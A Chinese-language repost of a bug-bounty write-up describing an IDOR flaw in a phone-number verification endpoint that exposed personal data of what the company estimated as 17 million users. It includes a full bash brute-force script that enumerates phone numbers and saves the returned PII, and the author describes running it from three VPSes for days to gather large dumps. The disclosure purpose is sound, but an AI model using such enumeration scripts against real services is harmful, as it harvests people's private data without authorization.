暴露1700万用户数据的IDOR漏洞
2023-6-21 09:54:36 Author: 黑白之道(查看原文) 阅读量:16 收藏

0x00 前言

大家好,这篇文章是关于我几个月前在一个私人漏洞赏金计划中发现的一个漏洞。
对于那些新手或不熟悉什么是 IDOR 漏洞的人,可以通过以下链接了解更多信息并自行测试。
https://portswigger.net/web-security/access-control/idorhttps://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html

0x01 初始漏洞

在我测试的应用程序中,有一个支持门户显示如下,提示用户提供他们的姓名、电话号码、事件日期、电子邮件等。

现在,在这种情况下,我添加了我的电话号码、姓名和其他字段,并使用 Burp Suite 捕获了请求,然后将其发送到转发器,以下是请求的示例。

所以,当我仔细检查请求时,我注意到它首先验证了电话号码的合法性。它对提供的电话号码执行验证检查。

然后,当我将此请求发送给中继器并检查响应时,它提供了我的所有详细信息,包括我的姓名、出生日期 (DOB)、地址和其他个人信息,这些构成了 PII 数据(个人身份信息)。

接下来,我只是将电话号码的最后两位数字更改为随机数字,令我惊讶的是,响应显示了另一个用户的个人详细信息,如下例所示。(注意:我已经编辑了 PII 数据)

然后,我继续向 Intruder 发送请求并尝试枚举 100 个不同的号码,令我惊讶的是,没有适当的速率限制控制,这让我产生了创建自己的 bash 脚本来自动枚举数据的想法。

下面是我创建的用于暴力破解请求并将响应保存在 JSON 文件中的脚本。
#!/bin/bash
endpoint="https://xyz.com/verifyNumber"cookie="X"user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"referer="https://xyz.com/"content_length="37"data="sbu=PostPaid%PrePaid"
# Create an empty array for responsesresponses=()
for ((num=1111111111; num<=9999999999; num++))do number="number=$num"
# Create temporary request file request_file=$(mktemp) cat << EOF > "$request_file"GET /verifyNumber HTTP/2Host: xyz.comCookie: $cookieUser-Agent: $user_agentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: $refererUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-siteSec-Fetch-User: ?1Te: trailersContent-Length: $content_length
$number&$dataEOF
# Send the request using curl and append the response to the array response=$(curl -X GET -H "Content-Type: application/x-www-form-urlencoded" --http2 --data-binary "@$request_file" "$endpoint") responses+=("$response")
# Cleanup rm "$request_file"done
# Save the responses array as JSONecho "[" > resp.jsonfor ((i=0; i<${#responses[@]}; i++))do echo "${responses[i]}" >> resp.json if [[ $i -lt $(( ${#responses[@]} - 1 )) ]]; then echo "," >> resp.json fidoneecho "]" >> resp.json

因此,我在我的三台虚拟专用服务器 (VPS) 上运行了这个脚本,使用了三到四天的各种数字模式,我能够生成大量数据转储,令人惊讶的是,他们没有检测到我的暴力尝试,也没有试图阻止我。

在向他们报告此漏洞后,它被确定为严重的 P1 漏洞。他们通过实施会话令牌迅速提供了修复,有效地隐藏了响应中的敏感数据。

“根据该公司安全工程师的回应,提到我发现并利用的这个漏洞可能导致 1700 万用户数据泄露。这确实是一个重大而实质性的影响。”

我希望你能从这篇文章中学到一些东西,“ IDOR 日记:意外数据泄露的故事”还会带来更多内容。

0x02 我的帖子摘要

在评估期间,我发现系统中存在不安全的直接对象引用 (IDOR) 漏洞。这允许未经授权访问敏感的用户数据,包括个人身份信息 (PII)。我通过观察支持门户中电话号码的验证来确定漏洞。通过修改请求中的电话号码,我可以检索其他用户的个人详细信息。为了进一步利用该漏洞,我创建了一个 bash 脚本并在多个虚拟专用服务器 (VPS) 上运行它以系统地枚举和收集大量数据而不被发现。报告该漏洞后,该公司意识到其重要性,并通过添加会话令牌来隐藏响应中的敏感数据来实施修复。

在进行安全评估和披露漏洞时,请记住负责任地使用这些知识并遵守法律和道德准则。

文章来源:潇湘信安

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650572260&idx=3&sn=06ceaf981a350108e500e221b00e7914&chksm=83bde000b4ca691625362d72dfa5f1e4ab128cf64776fd88e42c827864a7edd61942d260efae#rd
如有侵权请联系:admin#unsafe.sh